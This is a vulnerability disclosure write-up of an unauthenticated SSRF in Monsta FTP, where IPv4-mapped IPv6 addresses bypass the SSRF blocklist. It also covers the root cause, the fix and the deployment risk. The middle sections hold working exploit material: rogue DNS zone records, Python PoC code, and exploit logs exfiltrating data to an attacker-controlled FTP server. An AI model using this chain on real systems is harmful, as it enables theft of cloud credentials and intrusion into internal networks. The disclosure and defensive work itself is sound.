Monsta FTP: An SSRF Blocklist That Forgot IPv6 Exists

Valentin Lobstein /
Monsta FTP: An SSRF Blocklist That Forgot IPv6 Exists
Table of Contents

Original disclosure: This research was coordinated and first published by VulnCheck: monsta-ftp-ssrf-ipv6-blocklist-bypass. This post is my technical write-up.

Today VulnCheck is disclosing CVE-2026-60105, an unauthenticated server-side request forgery in Monsta FTP, the commercial web-based FTP/SFTP client. It is being disclosed in accordance with VulnCheck’s coordinated vulnerability disclosure policy. The issue is confirmed on 2.14.4 and on earlier versions sharing the same address-validation routine; the vendor shipped a silent fix in 2.14.5, logged in their release notes only as “Minor bugs and fixes.” An unauthenticated SSRF that reaches cloud instance metadata and the internal network is not a minor bug.

Background

Monsta FTP was already on my radar. Earlier this year I reproduced CVE-2025-34299, the unauthenticated arbitrary-file-write-to-RCE that watchTowr documented in their “What’s That Coming Over The Hill?” writeup, as a piece of personal research. The ID was assigned through VulnCheck’s own CNA, as it happens, so coming back to the product for this writeup closes a small loop. I loved that post, and the bug itself was almost insultingly clean: a localPath parameter on a single unauthenticated POST to /mftp/application/api/api.php, dropping attacker-controlled content anywhere on the web server. No auth, no chain, one request. watchTowr walked it over the SFTP connection path; reproducing it, I confirmed the same write fires just as well over plain FTP, so it was never tied to one connection type.

A bug that simple is rarely the only one in a codebase, so it stuck with me, and so did the install base. watchTowr put a floor of roughly 5,000 internet-exposed instances and noted that the default /mftp/ path hides the technology from generic scanners, so the real number is higher. On top of that, Monsta FTP ships as a one-click Softaculous and Fantastico application across cPanel, Plesk, and DirectAdmin, which puts it on shared and reseller hosting at scale, in front of, per that same coverage, financial institutions and enterprises among others. A straightforward bug class multiplied by that kind of deployment is worth a serious second look.

So I came back to the latest release, 2.14.4, and the first thing worth saying is that the codebase has clearly been hardened since. CVE-2025-34299 is patched, the downloadFile action that carried it is now hard-rejected, unserialize() runs with allowed_classes => false, archive extraction is guarded, and the auto-update path is gated behind a password. Someone went through this with a security pass, and it shows.

So the question I went in with was narrow. Web FTP clients love a “fetch a file from a URL” feature, and attackers love it more, because it is server-side request forgery wearing a product-manager hat. Monsta has one, called fetchRemoteFile, and the developers clearly knew it was dangerous: there is a dedicated blocklist, isBlockedIP(), built to keep that feature away from loopback, RFC1918, link-local and the metadata endpoint. The whole question was whether the blocklist holds. It does not. It speaks fluent IPv4 and barely speaks IPv6.

Summary

An unauthenticated SSRF in Monsta FTP 2.14.4. The fetchRemoteFile API action fetches a user-supplied URL server-side and uploads the response to a server the attacker controls.

InputValidator::isBlockedIP() correctly blocks the obvious forms (127.0.0.1, 169.254.169.254, RFC1918), but it never normalizes, so:

  • ::ffff:169.254.169.254, the IPv4-mapped IPv6 form of the metadata endpoint, is treated as a generic IPv6 address and waved straight through, as is 0.0.0.0.
  • The product even adds a second gate, a post-connect recheck designed to defeat DNS rebinding. It calls the same isBlockedIP(), so it falls to the same bug.
  • Because both gates accept the same static value, no DNS rebinding is required. A plain static AAAA record pointing at ::ffff:<internal> is enough, with no race and no timing window.

Reachability is unauthenticated: access_check.php enforces only a license and an optional client-IP allowlist (empty by default), and getSystemVars returns a valid CSRF token to any anonymous caller. The FTP credentials carried in the request point at the attacker’s own server, which doubles as the exfiltration sink. The primitive is an HTTP/HTTPS GET (file:// is blocked by the scheme allowlist), and the fetched response is exfiltrated to the attacker’s FTP.

Affected versions: Monsta FTP through 2.14.4, and earlier versions sharing the same isBlockedIP implementation. Fixed in: 2.14.5. Severity: High, CVSS 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N), CWE-918 (SSRF) chained with CWE-184 (Incomplete List of Disallowed Inputs).

Root Cause

The vulnerability lives in application/api/lib/InputValidator.php, in the function that decides whether a resolved address is off-limits:

public static function isBlockedIP($ip) {
    if (!filter_var($ip, FILTER_VALIDATE_IP)) return true;
    if ($ip === '::1' || $ip === '0:0:0:0:0:0:0:1') return true;

    // IPv4 ranges - only entered for literal IPv4 addresses
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
        if (strpos($ip, '127.')     === 0) return true;   // loopback
        if (strpos($ip, '10.')      === 0) return true;   // RFC1918
        if (preg_match('/^172\.(1[6-9]|2[0-9]|3[01])\./', $ip)) return true;
        if (strpos($ip, '192.168.') === 0) return true;
        if (strpos($ip, '169.254.') === 0) return true;   // link-local / metadata
        // ... multicast ...
    }

    // IPv6 ranges - only blocks fe80/fc/fd/ff
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
        // fe80:/fe90:/fea0:/feb0:, fc, fd, ff
    }

    return false;
}

Every IPv4 range check is gated behind filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4). That flag returns false for ::ffff:169.254.169.254, because PHP considers it an IPv6 address. The entire IPv4 blocklist is skipped, control falls into the IPv6 block, and that block only knows fe80/fc/fd/ff. A ::ffff: address matches none of them and the function returns “not blocked.”

It is a bouncer with a printed list of banned names who checks your ID, sees the name on the list, and waves you in the moment you spell it with an accent. The name is right there. He just does not recognize it written differently.

The blocklist is not wrong, it is incomplete, which is CWE-184, the “you enumerated the bad inputs and missed an encoding” trap. The verdicts:

127.0.0.1                  => BLOCKED
169.254.169.254            => BLOCKED
10.0.0.1 / 192.168.1.1     => BLOCKED
::ffff:127.0.0.1           => ALLOWED  <-- bypass
::ffff:169.254.169.254     => ALLOWED  <-- bypass (cloud metadata)
::ffff:a9fe:a9fe           => ALLOWED  <-- bypass (169.254.169.254 in hex)
::ffff:10.0.0.1            => ALLOWED  <-- bypass
0.0.0.0                    => ALLOWED  <-- bypass (routes to loopback on Linux)

The fetchRemoteFile Feature

All API requests are POSTed to application/api/api.php as a JSON request parameter. The fetchRemoteFile action takes a URL, fetches it server-side, and uploads the result onto the FTP connection:

{
  "actionName": "fetchRemoteFile",
  "connectionType": "ftp",
  "configuration": { "host": "...", "port": 21, "username": "...", "password": "..." },
  "context": { "source": "http://example.com/file.txt", "destination": "/" }
}

The source URL is validated by validateUrl(): an http/https scheme allowlist, then DNS resolution with every resolved IP run through isBlockedIP(). The whole SSRF defense rests on that one function.

Step 1: Watching the filter work

Credit where it is due, the filter shuts down every naive payload with a specific, almost smug error. Against a live 2.14.4 instance:

# file:// to read local files
{"errors":["Only HTTP and HTTPS URLs are allowed"]}

# the metadata endpoint, plainly
{"errors":["SSRF protection: Blocked IP address 169.254.169.254 (loopback, private network, or multicast)"]}

# the bracketed IPv6 literal
{"errors":["Invalid hostname or IP address: [::ffff:169.254.169.254]"]}

So file:// is out, meaning no local file read; the dotted metadata address is out; and the bracketed literal http://[::ffff:...]/ is rejected by validateHostname() before it ever reaches isBlockedIP(). Three closed doors. The author was thorough. They just left the IPv6-shaped window open.

Step 2: The bypass

validateUrl() resolves the host with gethostbyname() and dns_get_record($host, DNS_A | DNS_AAAA). The brackets are rejected, so we cannot type the mapped address into the URL, but we can serve it through DNS: a hostname whose AAAA record is ::ffff:169.254.169.254. The resolver hands that back, isBlockedIP() waves it through, and curl connects to the metadata endpoint.

Step 3: Both gates, one bug

This is the part worth respecting. The developers did not stop at front-gate validation, they added a post-connect recheck against DNS rebinding. After the request, HTTPFetcher::assertSafeResolvedConnectionIp() pulls CURLINFO_PRIMARY_IP, the address curl actually connected to, and runs it back through isBlockedIP(). A textbook rebinding attack, public IP at validation and 127.0.0.1 at connect, dies here.

Except curl reports the connected IP in mapped form. Connect to ::ffff:127.0.0.1 and CURLINFO_PRIMARY_IP comes back as ::ffff:127.0.0.1, which isBlockedIP() allows for the exact reason it allowed the front gate. A small PHP and curl harness against a real loopback service confirms it: primary IP ::ffff:127.0.0.1, verdict ALLOWED.

They built a second door to catch rebinding and hung it on the same broken hinge. And the consequence is excellent for the attacker: rebinding is not even needed. Rebinding exists to make the validation-time answer differ from the connect-time answer; here both are the same static ::ffff:<internal> value, and both are accepted. No TOCTOU, no race, no window to win. A static DNS record does the job, which makes this far more reliable than the usual SSRF-versus-rebinding-protection fight.

Step 4: Delivering it

The question that decides whether this is real: can a remote attacker make Monsta resolve a hostname to ::ffff:169.254.169.254? Yes, cheaply, and permanently. The reliable path is to run your own authoritative nameserver. Register a throwaway domain, point its NS at a cheap VPS, and serve a static AAAA. With BIND it is three lines:

$TTL 30
@      IN SOA  ns1.evilcorp.tld. admin.evilcorp.tld. ( 1 3600 600 86400 30 )
@      IN NS   ns1.evilcorp.tld.
ssrf   IN AAAA ::ffff:169.254.169.254

With CoreDNS, fewer:

evilcorp.tld {
    template IN AAAA {
        answer "{{ .Name }} 30 IN AAAA ::ffff:169.254.169.254"
    }
}

Now ssrf.evilcorp.tld resolves to the metadata endpoint for anyone who asks, Monsta included. Five minutes, a couple of dollars, and it stays up.

Managed DNS panels (registrar DNS, Cloudflare, Route 53, deSEC) often let you hand-create an AAAA record, but many normalize IPv6 on input: they parse ::ffff:169.254.169.254, recognize the IPv4-mapped form, and either store it as the canonical 169.254.169.254, which then resolves as an A record and gets blocked, or reject it outright. If yours serves the mapped form verbatim, good; if not, fall back to your own nameserver. As a bonus, ::ffff:a9fe:a9fe is the same metadata address in pure hex, which sometimes slips past validation that only special-cases the dotted ::ffff:1.2.3.4 notation.

Public DNS-rebinding tooling exists for this genre of attack, but it is unnecessary here for two reasons: most of it is tuned for A records while this bug specifically needs an AAAA holding the mapped form, and the rebinding behavior itself buys nothing when both gates accept the same static value. The simplest correct tool is an authoritative AAAA record you control.

Proof of Concept

The PoC bundles a rogue DNS server (AAAA ::ffff:<internal-ip>) and an FTP catcher, drives Monsta through the full chain, and prints whatever internal resource came back. Dependencies: requests, dnslib, pyftpdlib.

class RebindResolver(BaseResolver):                 # AAAA <rebind-host> -> ::ffff:<internal>
    def __init__(self, host, internal_ip):
        self.host, self.mapped = host.rstrip(".").lower(), f"::ffff:{internal_ip}"
    def resolve(self, request, handler):
        reply = request.reply()
        if str(request.q.qname).rstrip(".").lower() == self.host and QTYPE[request.q.qtype] == "AAAA":
            reply.add_answer(RR(request.q.qname, QTYPE.AAAA, rdata=AAAA(self.mapped), ttl=20))
        return reply

class MonstaSSRF:
    def __init__(self, target):
        self.api, self.s = f"{target.rstrip('/')}/application/api/api.php", requests.Session()
    def csrf(self):
        j = self.s.post(self.api, data={"request": json.dumps({"actionName":"getSystemVars","context":{}})}).json()
        return j.get("csrfToken") or j.get("data", {}).get("csrfToken")
    def fire(self, source, ftp, token):
        req = {"actionName":"fetchRemoteFile","connectionType":"ftp",
               "configuration":{"host":ftp["host"],"port":ftp["port"],"username":ftp["user"],
                                "password":ftp["pass"],"passive":True},
               "context":{"source":source,"destination":"/"}}
        return self.s.post(self.api, data={"request": json.dumps(req)}, headers={"X-CSRF-Token": token})

Against a lab instance (Monsta 2.14.4 on PHP 8.3, a rogue AAAA pointing at an internal-only HTTP service that holds a fake secret, and an FTP catcher):

[+] got CSRF token (no auth required): 7b56d5bd9633743e11ad9d87...
[*] SSRF source: http://ssrf.evilcorp.tld:80/meta
[*] HTTP 200: {"success":true,...}
[*] ...STOR /loot/meta completed=1 bytes=46...
[+] LEAKED internal response (meta, 46 bytes):
----------------------------------------------------------------
INTERNAL_ONLY_AWS_IAM=AKIA_LEAKED_4242_SECRET
----------------------------------------------------------------

The internal-only service is not exposed to the host at all. Its access log shows the request arriving from the Monsta container, and its body lands on the attacker’s FTP. A full unauthenticated read into the internal network.

Initial Access exploit

VulnCheck’s Initial Access Intelligence team turned this into a self-contained go-exploit module. It stands up the rogue DNS (AAAA ::ffff:<internal>) and the FTP catcher, pulls the anonymous CSRF token, drives the SSRF through both gates, and writes the leaked internal response to disk:

chocapikk@pwntoaster:~/feed/cve-2026-57525$ ./cve-2026-57525 -rhost 127.0.0.1 -rport 8088 -path /mftp -internalIP 10.89.0.50 -internalPath / -ftpAddr 10.89.0.1 -dnsAddr 10.89.0.1 -outFile loot.txt -c -e
time=2026-06-26T15:07:17.448+02:00 level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=8088
time=2026-06-26T15:07:17.453+02:00 level=VERSION msg="The reported version is 2.14.4" host=127.0.0.1 port=8088 version=2.14.4
time=2026-06-26T15:07:17.453+02:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=127.0.0.1 port=8088 vulnerable=yes
time=2026-06-26T15:07:17.456+02:00 level=SUCCESS msg="Session and CSRF token obtained without authentication: 27439704..."
time=2026-06-26T15:07:17.456+02:00 level=STATUS msg="Rogue DNS on 10.89.0.1:53 (ssrf.attacker.test AAAA -> ::ffff:10.89.0.50)"
time=2026-06-26T15:07:17.457+02:00 level=STATUS msg="FTP catcher on 0.0.0.0:2121 (advertised to Monsta as 10.89.0.1)"
time=2026-06-26T15:07:17.457+02:00 level=STATUS msg="Driving the SSRF: Monsta fetches http://ssrf.attacker.test:80/ (resolves to ::ffff:10.89.0.50) and exfiltrates over FTP"
time=2026-06-26T15:07:17.475+02:00 level=SUCCESS msg="Leaked 46 bytes from the internal target 10.89.0.50/:"
time=2026-06-26T15:07:17.475+02:00 level=SUCCESS msg="INTERNAL_ONLY_AWS_IAM=AKIA_LEAKED_4242_SECRET\n"
time=2026-06-26T15:07:17.475+02:00 level=SUCCESS msg="Saved to loot.txt"
time=2026-06-26T15:07:17.475+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
chocapikk@pwntoaster:~/feed/cve-2026-57525$ cat loot.txt
INTERNAL_ONLY_AWS_IAM=AKIA_LEAKED_4242_SECRET

Full Chain

Unauthenticated attacker
  |
  | POST getSystemVars  ->  CSRF token (no auth)
  |
  | POST fetchRemoteFile
  |   source     = http://ssrf.evilcorp.tld/latest/meta-data/...
  |   FTP config = attacker's own server (exfil sink)
  v
ssrf.evilcorp.tld  AAAA  ::ffff:169.254.169.254     (attacker DNS)
  |
  | isBlockedIP(::ffff:169.254.169.254) = ALLOWED   (front gate)
  | curl GET 169.254.169.254/...
  | isBlockedIP(::ffff:169.254.169.254) = ALLOWED   (anti-rebinding recheck)
  v
attacker FTP  <-- internal / metadata response (exfil)

Impact

This is a read-primitive SSRF, HTTP and HTTPS GET only, and the fetched body lands on the attacker’s FTP server. With it, an unauthenticated attacker can:

  • Reach cloud instance metadata (169.254.169.254) and retrieve IAM credentials. On a role with any meaningful permissions, that is the entire cloud account.
  • Reach loopback and internal-network services that are not exposed to the internet. The request originates from the Monsta host, so anything that trusts 127.0.0.1 or an internal address, admin panels, internal APIs, dashboards, is tricked into trusting the attacker.
  • Map the internal network by walking ::ffff: targets and observing which respond.

What it is not

A clean default-config RCE is not on the table here, and it is worth being precise about why. Every dangerous-looking primitive in this codebase is dead code, escaped, gated, or routed to the remote server the operator is already connected to, the product has had a real security pass. Because the SSRF is GET-only and a bare Monsta host has nothing else listening on localhost, there is no single-shot SSRF-to-shell on a stock install. The path to code execution is environment-dependent: a metadata-backed cloud role, or a vulnerable internal HTTP service the attacker can now reach. As a standalone bug, an unauthenticated window into the internal network and the metadata endpoint is serious on its own, and CVSS 8.6 reflects that.

Deployment exposure

Where this runs is what turns a read primitive into a real problem, and it is worth spelling out. Monsta FTP installs as a /mftp/ sub-folder of a website and is distributed as a one-click Softaculous and Fantastico application across cPanel, Plesk, and DirectAdmin, so its center of gravity is shared and reseller hosting, with a long list of providers shipping it preinstalled. A shared-hosting box runs far more than one customer’s website. It runs the control plane: cPanel and WHM on 2083/2087, Plesk on 8443, DirectAdmin on 2222, provisioning daemons, and the localhost services of every neighboring tenant, much of it bound to loopback or an internal interface on the assumption that only the host itself can reach it. An unauthenticated SSRF that originates from that host is exactly the request those services were built to trust. And because those boxes are themselves frequently cloud-hosted, 169.254.169.254 is one hop away on top of all of it. An SSRF on a static brochure site is noise; the same SSRF on the box an operator uses to reach their fleet, sitting next to the hosting control plane, is a pivot.

Timeline

Date        Event
2026-06-25  Vulnerability discovered during a Monsta FTP 2.14.4 audit
2026-06-25  Full unauthenticated SSRF reproduced end to end in a lab
2026-06-25  Reported through the VulnCheck CNA for CVE assignment and vendor coordination
2026-06-25  CVE-2026-57525 provisionally allocated through the VulnCheck CNA; vendor outreach initiated, 120-day disclosure deadline set for 2026-10-23
2026-07-02  Vendor shipped Monsta FTP 2.14.5, silently fixing the SSRF with no advisory
2026-07-08  CVE-2026-60105 published for the SSRF
2026-07-14  VulnCheck publishes the coordinated disclosure
2026-07-14  This technical write-up published

Fix

Stop enumerating bad strings and normalize. In isBlockedIP(), canonicalize the address before any range check: for IPv4-mapped and IPv4-compatible IPv6 (::ffff:0:0/96, ::/96), extract the embedded IPv4 and re-evaluate it against the IPv4 blocklist, and reject 0.0.0.0/8.

  public static function isBlockedIP($ip) {
      if (!filter_var($ip, FILTER_VALIDATE_IP)) return true;
+
+     // Normalize IPv4-mapped / IPv4-compatible IPv6 down to the embedded IPv4
+     $bin = @inet_pton($ip);
+     if ($bin !== false && strlen($bin) === 16) {
+         if (substr($bin, 0, 12) === "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff"   // ::ffff:0:0/96
+             || substr($bin, 0, 12) === str_repeat("\x00", 12)) {                          // ::/96
+             $ip = inet_ntop(substr($bin, 12));   // re-check as the embedded IPv4
+         }
+     }
+     if ($ip === '0.0.0.0' || strpos($ip, '0.') === 0) return true;   // 0.0.0.0/8
      ...

The same normalization must be applied to the CURLINFO_PRIMARY_IP recheck, otherwise the front gate is fixed and the back one stays open. The most robust version compares the 16-byte binary form directly against blocked ranges, so there is no string encoding left to forget next time.

Takeaways

A blocklist is a promise that you have thought of every way to write a bad input, and nobody ever has. ::ffff:169.254.169.254, 0x7f.1, 2130706433, 0177.0.0.1, the metadata and loopback services answer to all of them, while a strpos('127.', ...) answers to one. The fix is not a longer list, it is decoding the address to bytes and comparing bytes.

The second lesson is about defense in depth. The post-connect CURLINFO_PRIMARY_IP recheck is genuinely the right idea for stopping DNS rebinding, better than most SSRF defenses in the wild. But it called the same isBlockedIP(), so one bug took out both layers at once. Layers only count when they fail independently. Operators running Monsta FTP 2.14.4 or earlier should upgrade to 2.14.5 and, in the meantime, restrict the fetchRemoteFile capability and egress from the host.